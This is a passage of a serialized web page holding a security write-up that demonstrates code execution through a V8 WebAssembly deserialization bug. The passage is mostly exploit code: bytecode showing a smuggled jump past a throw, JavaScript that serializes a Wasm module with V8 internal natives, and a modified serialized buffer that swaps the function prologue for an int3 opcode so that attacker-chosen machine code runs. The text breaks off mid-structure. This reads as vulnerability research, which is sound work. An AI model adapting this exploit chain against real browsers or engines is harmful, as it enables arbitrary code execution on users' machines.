",{"type":26,"tag":83,"props":25823,"children":25825},{"className":25824},[],[25826],{"type":32,"value":25527},{"type":26,"tag":207,"props":25828,"children":25830},{"code":25829}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[25831],{"type":26,"tag":83,"props":25832,"children":25833},{"__ignoreMap":8},[25834],{"type":32,"value":25829},{"type":26,"tag":39,"props":25836,"children":25837},{},[25838,25840,25845,25847,25853],{"type":32,"value":25839},"The smuggled jump in ",{"type":26,"tag":83,"props":25841,"children":25843},{"className":25842},[],[25844],{"type":32,"value":25527},{"type":32,"value":25846}," will redirect us to ",{"type":26,"tag":83,"props":25848,"children":25850},{"className":25849},[],[25851],{"type":32,"value":25852},"1a e9 93 03",{"type":32,"value":25854},", which results in:",{"type":26,"tag":2040,"props":25856,"children":25857},{},[25858,25869],{"type":26,"tag":2044,"props":25859,"children":25860},{},[25861,25867],{"type":26,"tag":83,"props":25862,"children":25864},{"className":25863},[],[25865],{"type":32,"value":25866},"Star r16",{"type":32,"value":25868}," (store accumulator to r16)",{"type":26,"tag":2044,"props":25870,"children":25871},{},[25872,25877],{"type":26,"tag":83,"props":25873,"children":25875},{"className":25874},[],[25876],{"type":32,"value":25292},{"type":32,"value":25878}," past the throw into the catch relevant code",{"type":26,"tag":39,"props":25880,"children":25881},{},[25882,25884,25890],{"type":32,"value":25883},"This will bring us nicely to the final ",{"type":26,"tag":83,"props":25885,"children":25887},{"className":25886},[],[25888],{"type":32,"value":25889},"yield a16",{"type":32,"value":25891},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":26,"tag":607,"props":25893,"children":25895},{"id":25894},"executing-shellcode",[25896],{"type":32,"value":25897},"Executing Shellcode",{"type":26,"tag":39,"props":25899,"children":25900},{},[25901],{"type":32,"value":25902},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":26,"tag":207,"props":25904,"children":25906},{"code":25905,"language":12397,"meta":8,"className":12398,"style":8},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[25907],{"type":26,"tag":83,"props":25908,"children":25909},{"__ignoreMap":8},[25910,25942,26170,26238,26246,26293,26339,26381,26388,26414,26451,26488],{"type":26,"tag":217,"props":25911,"children":25912},{"class":7028,"line":7029},[25913,25918,25923,25927,25932,25937],{"type":26,"tag":217,"props":25914,"children":25915},{"style":7154},[25916],{"type":32,"value":25917},"var",{"type":26,"tag":217,"props":25919,"children":25920},{"style":7054},[25921],{"type":32,"value":25922}," wasm_code",{"type":26,"tag":217,"props":25924,"children":25925},{"style":7149},[25926],{"type":32,"value":8993},{"type":26,"tag":217,"props":25928,"children":25929},{"style":7154},[25930],{"type":32,"value":25931}," new",{"type":26,"tag":217,"props":25933,"children":25934},{"style":7064},[25935],{"type":32,"value":25936}," Uint8Array",{"type":26,"tag":217,"props":25938,"children":25939},{"style":7048},[25940],{"type":32,"value":25941},"([\n",{"type":26,"tag":217,"props":25943,"children":25944},{"class":7028,"line":6770},[25945,25950,25954,25959,25963,25968,25972,25977,25981,25985,25989,25993,25997,26001,26005,26009,26013,26017,26021,26025,26029,26033,26037,26042,26046,26050,26054,26058,26062,26066,26070,26074,26078,26082,26086,26090,26094,26098,26102,26107,26111,26115,26119,26123,26127,26131,26135,26140,26144,26149,26153,26158,26162,26166],{"type":26,"tag":217,"props":25946,"children":25947},{"style":7130},[25948],{"type":32,"value":25949},"  0",{"type":26,"tag":217,"props":25951,"children":25952},{"style":7048},[25953],{"type":32,"value":7599},{"type":26,"tag":217,"props":25955,"children":25956},{"style":7130},[25957],{"type":32,"value":25958},"97",{"type":26,"tag":217,"props":25960,"children":25961},{"style":7048},[25962],{"type":32,"value":7599},{"type":26,"tag":217,"props":25964,"children":25965},{"style":7130},[25966],{"type":32,"value":25967},"115",{"type":26,"tag":217,"props":25969,"children":25970},{"style":7048},[25971],{"type":32,"value":7599},{"type":26,"tag":217,"props":25973,"children":25974},{"style":7130},[25975],{"type":32,"value":25976},"109",{"type":26,"tag":217,"props":25978,"children":25979},{"style":7048},[25980],{"type":32,"value":7599},{"type":26,"tag":217,"props":25982,"children":25983},{"style":7130},[25984],{"type":32,"value":185},{"type":26,"tag":217,"props":25986,"children":25987},{"style":7048},[25988],{"type":32,"value":7599},{"type":26,"tag":217,"props":25990,"children":25991},{"style":7130},[25992],{"type":32,"value":1883},{"type":26,"tag":217,"props":25994,"children":25995},{"style":7048},[25996],{"type":32,"value":7599},{"type":26,"tag":217,"props":25998,"children":25999},{"style":7130},[26000],{"type":32,"value":1883},{"type":26,"tag":217,"props":26002,"children":26003},{"style":7048},[26004],{"type":32,"value":7599},{"type":26,"tag":217,"props":26006,"children":26007},{"style":7130},[26008],{"type":32,"value":1883},{"type":26,"tag":217,"props":26010,"children":26011},{"style":7048},[26012],{"type":32,"value":7599},{"type":26,"tag":217,"props":26014,"children":26015},{"style":7130},[26016],{"type":32,"value":185},{"type":26,"tag":217,"props":26018,"children":26019},{"style":7048},[26020],{"type":32,"value":7599},{"type":26,"tag":217,"props":26022,"children":26023},{"style":7130},[26024],{"type":32,"value":10985},{"type":26,"tag":217,"props":26026,"children":26027},{"style":7048},[26028],{"type":32,"value":7599},{"type":26,"tag":217,"props":26030,"children":26031},{"style":7130},[26032],{"type":32,"value":185},{"type":26,"tag":217,"props":26034,"children":26035},{"style":7048},[26036],{"type":32,"value":7599},{"type":26,"tag":217,"props":26038,"children":26039},{"style":7130},[26040],{"type":32,"value":26041},"96",{"type":26,"tag":217,"props":26043,"children":26044},{"style":7048},[26045],{"type":32,"value":7599},{"type":26,"tag":217,"props":26047,"children":26048},{"style":7130},[26049],{"type":32,"value":1883},{"type":26,"tag":217,"props":26051,"children":26052},{"style":7048},[26053],{"type":32,"value":7599},{"type":26,"tag":217,"props":26055,"children":26056},{"style":7130},[26057],{"type":32,"value":1883},{"type":26,"tag":217,"props":26059,"children":26060},{"style":7048},[26061],{"type":32,"value":7599},{"type":26,"tag":217,"props":26063,"children":26064},{"style":7130},[26065],{"type":32,"value":10676},{"type":26,"tag":217,"props":26067,"children":26068},{"style":7048},[26069],{"type":32,"value":7599},{"type":26,"tag":217,"props":26071,"children":26072},{"style":7130},[26073],{"type":32,"value":332},{"type":26,"tag":217,"props":26075,"children":26076},{"style":7048},[26077],{"type":32,"value":7599},{"type":26,"tag":217,"props":26079,"children":26080},{"style":7130},[26081],{"type":32,"value":185},{"type":26,"tag":217,"props":26083,"children":26084},{"style":7048},[26085],{"type":32,"value":7599},{"type":26,"tag":217,"props":26087,"children":26088},{"style":7130},[26089],{"type":32,"value":1883},{"type":26,"tag":217,"props":26091,"children":26092},{"style":7048},[26093],{"type":32,"value":7599},{"type":26,"tag":217,"props":26095,"children":26096},{"style":7130},[26097],{"type":32,"value":19177},{"type":26,"tag":217,"props":26099,"children":26100},{"style":7048},[26101],{"type":32,"value":7599},{"type":26,"tag":217,"props":26103,"children":26104},{"style":7130},[26105],{"type":32,"value":26106},"9",{"type":26,"tag":217,"props":26108,"children":26109},{"style":7048},[26110],{"type":32,"value":7599},{"type":26,"tag":217,"props":26112,"children":26113},{"style":7130},[26114],{"type":32,"value":185},{"type":26,"tag":217,"props":26116,"children":26117},{"style":7048},[26118],{"type":32,"value":7599},{"type":26,"tag":217,"props":26120,"children":26121},{"style":7130},[26122],{"type":32,"value":25499},{"type":26,"tag":217,"props":26124,"children":26125},{"style":7048},[26126],{"type":32,"value":7599},{"type":26,"tag":217,"props":26128,"children":26129},{"style":7130},[26130],{"type":32,"value":25967},{"type":26,"tag":217,"props":26132,"children":26133},{"style":7048},[26134],{"type":32,"value":7599},{"type":26,"tag":217,"props":26136,"children":26137},{"style":7130},[26138],{"type":32,"value":26139},"104",{"type":26,"tag":217,"props":26141,"children":26142},{"style":7048},[26143],{"type":32,"value":7599},{"type":26,"tag":217,"props":26145,"children":26146},{"style":7130},[26147],{"type":32,"value":26148},"101",{"type":26,"tag":217,"props":26150,"children":26151},{"style":7048},[26152],{"type":32,"value":7599},{"type":26,"tag":217,"props":26154,"children":26155},{"style":7130},[26156],{"type":32,"value":26157},"108",{"type":26,"tag":217,"props":26159,"children":26160},{"style":7048},[26161],{"type":32,"value":7599},{"type":26,"tag":217,"props":26163,"children":26164},{"style":7130},[26165],{"type":32,"value":26157},{"type":26,"tag":217,"props":26167,"children":26168},{"style":7048},[26169],{"type":32,"value":10953},{"type":26,"tag":217,"props":26171,"children":26172},{"class":7028,"line":6779},[26173,26177,26181,26185,26189,26193,26197,26201,26205,26209,26213,26217,26221,26225,26229,26234],{"type":26,"tag":217,"props":26174,"children":26175},{"style":7130},[26176],{"type":32,"value":25949},{"type":26,"tag":217,"props":26178,"children":26179},{"style":7048},[26180],{"type":32,"value":7599},{"type":26,"tag":217,"props":26182,"children":26183},{"style":7130},[26184],{"type":32,"value":1883},{"type":26,"tag":217,"props":26186,"children":26187},{"style":7048},[26188],{"type":32,"value":7599},{"type":26,"tag":217,"props":26190,"children":26191},{"style":7130},[26192],{"type":32,"value":18670},{"type":26,"tag":217,"props":26194,"children":26195},{"style":7048},[26196],{"type":32,"value":7599},{"type":26,"tag":217,"props":26198,"children":26199},{"style":7130},[26200],{"type":32,"value":10985},{"type":26,"tag":217,"props":26202,"children":26203},{"style":7048},[26204],{"type":32,"value":7599},{"type":26,"tag":217,"props":26206,"children":26207},{"style":7130},[26208],{"type":32,"value":185},{"type":26,"tag":217,"props":26210,"children":26211},{"style":7048},[26212],{"type":32,"value":7599},{"type":26,"tag":217,"props":26214,"children":26215},{"style":7130},[26216],{"type":32,"value":332},{"type":26,"tag":217,"props":26218,"children":26219},{"style":7048},[26220],{"type":32,"value":7599},{"type":26,"tag":217,"props":26222,"children":26223},{"style":7130},[26224],{"type":32,"value":1883},{"type":26,"tag":217,"props":26226,"children":26227},{"style":7048},[26228],{"type":32,"value":7599},{"type":26,"tag":217,"props":26230,"children":26231},{"style":7130},[26232],{"type":32,"value":26233},"11",{"type":26,"tag":217,"props":26235,"children":26236},{"style":7048},[26237],{"type":32,"value":10953},{"type":26,"tag":217,"props":26239,"children":26240},{"class":7028,"line":7140},[26241],{"type":26,"tag":217,"props":26242,"children":26243},{"style":7048},[26244],{"type":32,"value":26245},"]);\n",{"type":26,"tag":217,"props":26247,"children":26248},{"class":7028,"line":7165},[26249,26253,26258,26262,26266,26271,26275,26280,26284,26289],{"type":26,"tag":217,"props":26250,"children":26251},{"style":7154},[26252],{"type":32,"value":25917},{"type":26,"tag":217,"props":26254,"children":26255},{"style":7054},[26256],{"type":32,"value":26257}," mod",{"type":26,"tag":217,"props":26259,"children":26260},{"style":7149},[26261],{"type":32,"value":8993},{"type":26,"tag":217,"props":26263,"children":26264},{"style":7154},[26265],{"type":32,"value":25931},{"type":26,"tag":217,"props":26267,"children":26268},{"style":7054},[26269],{"type":32,"value":26270}," WebAssembly",{"type":26,"tag":217,"props":26272,"children":26273},{"style":7048},[26274],{"type":32,"value":180},{"type":26,"tag":217,"props":26276,"children":26277},{"style":7064},[26278],{"type":32,"value":26279},"Module",{"type":26,"tag":217,"props":26281,"children":26282},{"style":7048},[26283],{"type":32,"value":1851},{"type":26,"tag":217,"props":26285,"children":26286},{"style":7054},[26287],{"type":32,"value":26288},"wasm_code",{"type":26,"tag":217,"props":26290,"children":26291},{"style":7048},[26292],{"type":32,"value":7669},{"type":26,"tag":217,"props":26294,"children":26295},{"class":7028,"line":7178},[26296,26300,26305,26309,26313,26317,26321,26326,26330,26335],{"type":26,"tag":217,"props":26297,"children":26298},{"style":7154},[26299],{"type":32,"value":25917},{"type":26,"tag":217,"props":26301,"children":26302},{"style":7054},[26303],{"type":32,"value":26304}," inst",{"type":26,"tag":217,"props":26306,"children":26307},{"style":7149},[26308],{"type":32,"value":8993},{"type":26,"tag":217,"props":26310,"children":26311},{"style":7154},[26312],{"type":32,"value":25931},{"type":26,"tag":217,"props":26314,"children":26315},{"style":7054},[26316],{"type":32,"value":26270},{"type":26,"tag":217,"props":26318,"children":26319},{"style":7048},[26320],{"type":32,"value":180},{"type":26,"tag":217,"props":26322,"children":26323},{"style":7064},[26324],{"type":32,"value":26325},"Instance",{"type":26,"tag":217,"props":26327,"children":26328},{"style":7048},[26329],{"type":32,"value":1851},{"type":26,"tag":217,"props":26331,"children":26332},{"style":7054},[26333],{"type":32,"value":26334},"mod",{"type":26,"tag":217,"props":26336,"children":26337},{"style":7048},[26338],{"type":32,"value":7669},{"type":26,"tag":217,"props":26340,"children":26341},{"class":7028,"line":7389},[26342,26346,26351,26355,26359,26363,26368,26372,26377],{"type":26,"tag":217,"props":26343,"children":26344},{"style":7154},[26345],{"type":32,"value":25917},{"type":26,"tag":217,"props":26347,"children":26348},{"style":7054},[26349],{"type":32,"value":26350}," func",{"type":26,"tag":217,"props":26352,"children":26353},{"style":7149},[26354],{"type":32,"value":8993},{"type":26,"tag":217,"props":26356,"children":26357},{"style":7054},[26358],{"type":32,"value":26304},{"type":26,"tag":217,"props":26360,"children":26361},{"style":7048},[26362],{"type":32,"value":180},{"type":26,"tag":217,"props":26364,"children":26365},{"style":7054},[26366],{"type":32,"value":26367},"exports",{"type":26,"tag":217,"props":26369,"children":26370},{"style":7048},[26371],{"type":32,"value":180},{"type":26,"tag":217,"props":26373,"children":26374},{"style":7054},[26375],{"type":32,"value":26376},"shell",{"type":26,"tag":217,"props":26378,"children":26379},{"style":7048},[26380],{"type":32,"value":7162},{"type":26,"tag":217,"props":26382,"children":26383},{"class":7028,"line":7406},[26384],{"type":26,"tag":217,"props":26385,"children":26386},{"emptyLinePlaceholder":17},[26387],{"type":32,"value":7817},{"type":26,"tag":217,"props":26389,"children":26390},{"class":7028,"line":7439},[26391,26396,26401,26405,26410],{"type":26,"tag":217,"props":26392,"children":26393},{"style":7149},[26394],{"type":32,"value":26395},"%",{"type":26,"tag":217,"props":26397,"children":26398},{"style":7064},[26399],{"type":32,"value":26400},"WasmTierUpFunction",{"type":26,"tag":217,"props":26402,"children":26403},{"style":7048},[26404],{"type":32,"value":1851},{"type":26,"tag":217,"props":26406,"children":26407},{"style":7054},[26408],{"type":32,"value":26409},"func",{"type":26,"tag":217,"props":26411,"children":26412},{"style":7048},[26413],{"type":32,"value":7669},{"type":26,"tag":217,"props":26415,"children":26416},{"class":7028,"line":7487},[26417,26421,26426,26430,26435,26439,26443,26447],{"type":26,"tag":217,"props":26418,"children":26419},{"style":7154},[26420],{"type":32,"value":25917},{"type":26,"tag":217,"props":26422,"children":26423},{"style":7054},[26424],{"type":32,"value":26425}," serialized",{"type":26,"tag":217,"props":26427,"children":26428},{"style":7149},[26429],{"type":32,"value":8993},{"type":26,"tag":217,"props":26431,"children":26432},{"style":7149},[26433],{"type":32,"value":26434}," %",{"type":26,"tag":217,"props":26436,"children":26437},{"style":7064},[26438],{"type":32,"value":25417},{"type":26,"tag":217,"props":26440,"children":26441},{"style":7048},[26442],{"type":32,"value":1851},{"type":26,"tag":217,"props":26444,"children":26445},{"style":7054},[26446],{"type":32,"value":26334},{"type":26,"tag":217,"props":26448,"children":26449},{"style":7048},[26450],{"type":32,"value":7669},{"type":26,"tag":217,"props":26452,"children":26453},{"class":7028,"line":7524},[26454,26458,26463,26467,26471,26475,26479,26484],{"type":26,"tag":217,"props":26455,"children":26456},{"style":7154},[26457],{"type":32,"value":12470},{"type":26,"tag":217,"props":26459,"children":26460},{"style":7054},[26461],{"type":32,"value":26462}," result",{"type":26,"tag":217,"props":26464,"children":26465},{"style":7149},[26466],{"type":32,"value":8993},{"type":26,"tag":217,"props":26468,"children":26469},{"style":7154},[26470],{"type":32,"value":25931},{"type":26,"tag":217,"props":26472,"children":26473},{"style":7064},[26474],{"type":32,"value":25936},{"type":26,"tag":217,"props":26476,"children":26477},{"style":7048},[26478],{"type":32,"value":1851},{"type":26,"tag":217,"props":26480,"children":26481},{"style":7054},[26482],{"type":32,"value":26483},"serialized",{"type":26,"tag":217,"props":26485,"children":26486},{"style":7048},[26487],{"type":32,"value":7669},{"type":26,"tag":217,"props":26489,"children":26490},{"class":7028,"line":7553},[26491,26496,26500,26504,26508,26513,26517,26521,26525,26530,26534,26539,26543,26547,26552],{"type":26,"tag":217,"props":26492,"children":26493},{"style":7054},[26494],{"type":32,"value":26495},"console",{"type":26,"tag":217,"props":26497,"children":26498},{"style":7048},[26499],{"type":32,"value":180},{"type":26,"tag":217,"props":26501,"children":26502},{"style":7064},[26503],{"type":32,"value":25779},{"type":26,"tag":217,"props":26505,"children":26506},{"style":7048},[26507],{"type":32,"value":1851},{"type":26,"tag":217,"props":26509,"children":26510},{"style":7338},[26511],{"type":32,"value":26512},"'['",{"type":26,"tag":217,"props":26514,"children":26515},{"style":7149},[26516],{"type":32,"value":9025},{"type":26,"tag":217,"props":26518,"children":26519},{"style":7054},[26520],{"type":32,"value":26462},{"type":26,"tag":217,"props":26522,"children":26523},{"style":7048},[26524],{"type":32,"value":180},{"type":26,"tag":217,"props":26526,"children":26527},{"style":7064},[26528],{"type":32,"value":26529},"join",{"type":26,"tag":217,"props":26531,"children":26532},{"style":7048},[26533],{"type":32,"value":1851},{"type":26,"tag":217,"props":26535,"children":26536},{"style":7338},[26537],{"type":32,"value":26538},"', '",{"type":26,"tag":217,"props":26540,"children":26541},{"style":7048},[26542],{"type":32,"value":8380},{"type":26,"tag":217,"props":26544,"children":26545},{"style":7149},[26546],{"type":32,"value":3540},{"type":26,"tag":217,"props":26548,"children":26549},{"style":7338},[26550],{"type":32,"value":26551}," ']'",{"type":26,"tag":217,"props":26553,"children":26554},{"style":7048},[26555],{"type":32,"value":7669},{"type":26,"tag":39,"props":26557,"children":26558},{},[26559],{"type":32,"value":26560},"This produces the following output:",{"type":26,"tag":207,"props":26562,"children":26564},{"code":26563},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[26565],{"type":26,"tag":83,"props":26566,"children":26567},{"__ignoreMap":8},[26568],{"type":32,"value":26563},{"type":26,"tag":39,"props":26570,"children":26571},{},[26572,26574,26580,26582,26588,26590,26596,26598,26604,26606,26611],{"type":32,"value":26573},"The bytes ",{"type":26,"tag":83,"props":26575,"children":26577},{"className":26576},[],[26578],{"type":32,"value":26579},"85, 72, 137, 229, ...",{"type":32,"value":26581}," correspond to the x86-64 function prologue (",{"type":26,"tag":83,"props":26583,"children":26585},{"className":26584},[],[26586],{"type":32,"value":26587},"push rbp; mov rbp, rsp",{"type":32,"value":26589},"). We replace the first byte with ",{"type":26,"tag":83,"props":26591,"children":26593},{"className":26592},[],[26594],{"type":32,"value":26595},"0xcc",{"type":32,"value":26597}," (the ",{"type":26,"tag":83,"props":26599,"children":26601},{"className":26600},[],[26602],{"type":32,"value":26603},"int3",{"type":32,"value":26605}," opcode), and use this modified buffer as the serialized input to ",{"type":26,"tag":83,"props":26607,"children":26609},{"className":26608},[],[26610],{"type":32,"value":25391},{"type":32,"value":1473},{"type":26,"tag":207,"props":26613,"children":26615},{"code":26614,"language":12397,"meta":8,"className":12398,"style":8},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[26616],{"type":26,"tag":83,"props":26617,"children":26618},{"__ignoreMap":8},[26619,26643,26671,26891,26958,26966,26994,27209,27460,27711,27939,28186,28406,28413,28463,28509,28553,28593,28605],{"type":26,"tag":217,"props":26620,"children":26621},{"class":7028,"line":7029},[26622,26626,26630,26635,26639],{"type":26,"tag":217,"props":26623,"children":26624},{"style":7048},[26625],{"type":32,"value":1851},{"type":26,"tag":217,"props":26627,"children":26628},{"style":7154},[26629],{"type":32,"value":14091},{"type":26,"tag":217,"props":26631,"children":26632},{"style":7048},[26633],{"type":32,"value":26634}," () ",{"type":26,"tag":217,"props":26636,"children":26637},{"style":7154},[26638],{"type":32,"value":8059},{"type":26,"tag":217,"props":26640,"children":26641},{"style":7048},[26642],{"type":32,"value":8064},{"type":26,"tag":217,"props":26644,"children":26645},{"class":7028,"line":6770},[26646,26651,26655,26659,26663,26667],{"type":26,"tag":217,"props":26647,"children":26648},{"style":7154},[26649],{"type":32,"value":26650},"  const",{"type":26,"tag":217,"props":26652,"children":26653},{"style":7054},[26654],{"type":32,"value":25922},{"type":26,"tag":217,"props":26656,"children":26657},{"style":7149},[26658],{"type":32,"value":8993},{"type":26,"tag":217,"props":26660,"children":26661},{"style":7154},[26662],{"type":32,"value":25931},{"type":26,"tag":217,"props":26664,"children":26665},{"style":7064},[26666],{"type":32,"value":25936},{"type":26,"tag":217,"props":26668,"children":26669},{"style":7048},[26670],{"type":32,"value":25941},{"type":26,"tag":217,"props":26672,"children":26673},{"class":7028,"line":6779},[26674,26679,26683,26687,26691,26695,26699,26703,26707,26711,26715,26719,26723,26727,26731,26735,26739,26743,26747,26751,26755,26759,26763,26767,26771,26775,26779,26783,26787,26791,26795,26799,26803,26807,26811,26815,26819,26823,26827,26831,26835,26839,26843,26847,26851,26855,26859,26863,26867,26871,26875,26879,26883,26887],{"type":26,"tag":217,"props":26675,"children":26676},{"style":7130},[26677],{"type":32,"value":26678},"    0",{"type":26,"tag":217,"props":26680,"children":26681},{"style":7048},[26682],{"type":32,"value":7599},{"type":26,"tag":217,"props":26684,"children":26685},{"style":7130},[26686],{"type":32,"value":25958},{"type":26,"tag":217,"props":26688,"children":26689},{"style":7048},[26690],{"type":32,"value":7599},{"type":26,"tag":217,"props":26692,"children":26693},{"style":7130},[26694],{"type":32,"value":25967},{"type":26,"tag":217,"props":26696,"children":26697},{"style":7048},[26698],{"type":32,"value":7599},{"type":26,"tag":217,"props":26700,"children":26701},{"style":7130},[26702],{"type":32,"value":25976},{"type":26,"tag":217,"props":26704,"children":26705},{"style":7048},[26706],{"type":32,"value":7599},{"type":26,"tag":217,"props":26708,"children":26709},{"style":7130},[26710],{"type":32,"value":185},{"type":26,"tag":217,"props":26712,"children":26713},{"style":7048},[26714],{"type":32,"value":7599},{"type":26,"tag":217,"props":26716,"children":26717},{"style":7130},[26718],{"type":32,"value":1883},{"type":26,"tag":217,"props":26720,"children":26721},{"style":7048},[26722],{"type":32,"value":7599},{"type":26,"tag":217,"props":26724,"children":26725},{"style":7130},[26726],{"type":32,"value":1883},{"type":26,"tag":217,"props":26728,"children":26729},{"style":7048},[26730],{"type":32,"value":7599},{"type":26,"tag":217,"props":26732,"children":26733},{"style":7130},[26734],{"type":32,"value":1883},{"type":26,"tag":217,"props":26736,"children":26737},{"style":7048},[26738],{"type":32,"value":7599},{"type":26,"tag":217,"props":26740,"children":26741},{"style":7130},[26742],{"type":32,"value":185},{"type":26,"tag":217,"props":26744,"children":26745},{"style":7048},[26746],{"type":32,"value":7599},{"type":26,"tag":217,"props":26748,"children":26749},{"style":7130},[26750],{"type":32,"value":10985},{"type":26,"tag":217,"props":26752,"children":26753},{"style":7048},[26754],{"type":32,"value":7599},{"type":26,"tag":217,"props":26756,"children":26757},{"style":7130},[26758],{"type":32,"value":185},{"type":26,"tag":217,"props":26760,"children":26761},{"style":7048},[26762],{"type":32,"value":7599},{"type":26,"tag":217,"props":26764,"children":26765},{"style":7130},[26766],{"type":32,"value":26041},{"type":26,"tag":217,"props":26768,"children":26769},{"style":7048},[26770],{"type":32,"value":7599},{"type":26,"tag":217,"props":26772,"children":26773},{"style":7130},[26774],{"type":32,"value":1883},{"type":26,"tag":217,"props":26776,"children":26777},{"style":7048},[26778],{"type":32,"value":7599},{"type":26,"tag":217,"props":26780,"children":26781},{"style":7130},[26782],{"type":32,"value":1883},{"type":26,"tag":217,"props":26784,"children":26785},{"style":7048},[26786],{"type":32,"value":7599},{"type":26,"tag":217,"props":26788,"children":26789},{"style":7130},[26790],{"type":32,"value":10676},{"type":26,"tag":217,"props":26792,"children":26793},{"style":7048},[26794],{"type":32,"value":7599},{"type":26,"tag":217,"props":26796,"children":26797},{"style":7130},[26798],{"type":32,"value":332},{"type":26,"tag":217,"props":26800,"children":26801},{"style":7048},[26802],{"type":32,"value":7599},{"type":26,"tag":217,"props":26804,"children":26805},{"style":7130},[26806],{"type":32,"value":185},{"type":26,"tag":217,"props":26808,"children":26809},{"style":7048},[26810],{"type":32,"value":7599},{"type":26,"tag":217,"props":26812,"children":26813},{"style":7130},[26814],{"type":32,"value":1883},{"type":26,"tag":217,"props":26816,"children":26817},{"style":7048},[26818],{"type":32,"value":7599},{"type":26,"tag":217,"props":26820,"children":26821},{"style":7130},[26822],{"type":32,"value":19177},{"type":26,"tag":217,"props":26824,"children":26825},{"style":7048},[26826],{"type":32,"value":7599},{"type":26,"tag":217,"props":26828,"children":26829},{"style":7130},[26830],{"type":32,"value":26106},{"type":26,"tag":217,"props":26832,"children":26833},{"style":7048},[26834],{"type":32,"value":7599},{"type":26,"tag":217,"props":26836,"children":26837},{"style":7130},[26838],{"type":32,"value":185},{"type":26,"tag":217,"props":26840,"children":26841},{"style":7048},[26842],{"type":32,"value":7599},{"type":26,"tag":217,"props":26844,"children":26845},{"style":7130},[26846],{"type":32,"value":25499},{"type":26,"tag":217,"props":26848,"children":26849},{"style":7048},[26850],{"type":32,"value":7599},{"type":26,"tag":217,"props":26852,"children":26853},{"style":7130},[26854],{"type":32,"value":25967},{"type":26,"tag":217,"props":26856,"children":26857},{"style":7048},[26858],{"type":32,"value":7599},{"type":26,"tag":217,"props":26860,"children":26861},{"style":7130},[26862],{"type":32,"value":26139},{"type":26,"tag":217,"props":26864,"children":26865},{"style":7048},[26866],{"type":32,"value":7599},{"type":26,"tag":217,"props":26868,"children":26869},{"style":7130},[26870],{"type":32,"value":26148},{"type":26,"tag":217,"props":26872,"children":26873},{"style":7048},[26874],{"type":32,"value":7599},{"type":26,"tag":217,"props":26876,"children":26877},{"style":7130},[26878],{"type":32,"value":26157},{"type":26,"tag":217,"props":26880,"children":26881},{"style":7048},[26882],{"type":32,"value":7599},{"type":26,"tag":217,"props":26884,"children":26885},{"style":7130},[26886],{"type":32,"value":26157},{"type":26,"tag":217,"props":26888,"children":26889},{"style":7048},[26890],{"type":32,"value":10953},{"type":26,"tag":217,"props":26892,"children":26893},{"class":7028,"line":7140},[26894,26898,26902,26906,26910,26914,26918,26922,26926,26930,26934,26938,26942,26946,26950,26954],{"type":26,"tag":217,"props":26895,"children":26896},{"style":7130},[26897],{"type":32,"value":26678},{"type":26,"tag":217,"props":26899,"children":26900},{"style":7048},[26901],{"type":32,"value":7599},{"type":26,"tag":217,"props":26903,"children":26904},{"style":7130},[26905],{"type":32,"value":1883},{"type":26,"tag":217,"props":26907,"children":26908},{"style":7048},[26909],{"type":32,"value":7599},{"type":26,"tag":217,"props":26911,"children":26912},{"style":7130},[26913],{"type":32,"value":18670},{"type":26,"tag":217,"props":26915,"children":26916},{"style":7048},[2